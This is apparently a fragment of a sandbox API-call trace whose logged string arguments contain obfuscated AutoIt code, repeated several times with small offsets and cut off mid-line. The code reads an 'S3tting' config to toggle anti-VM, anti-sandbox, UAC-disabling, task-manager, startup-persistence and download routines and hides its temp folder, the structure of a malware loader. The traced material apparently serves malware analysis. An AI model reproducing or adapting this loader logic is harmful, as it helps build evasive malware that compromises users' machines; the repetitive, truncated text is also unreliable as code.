\"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33A", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF4", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 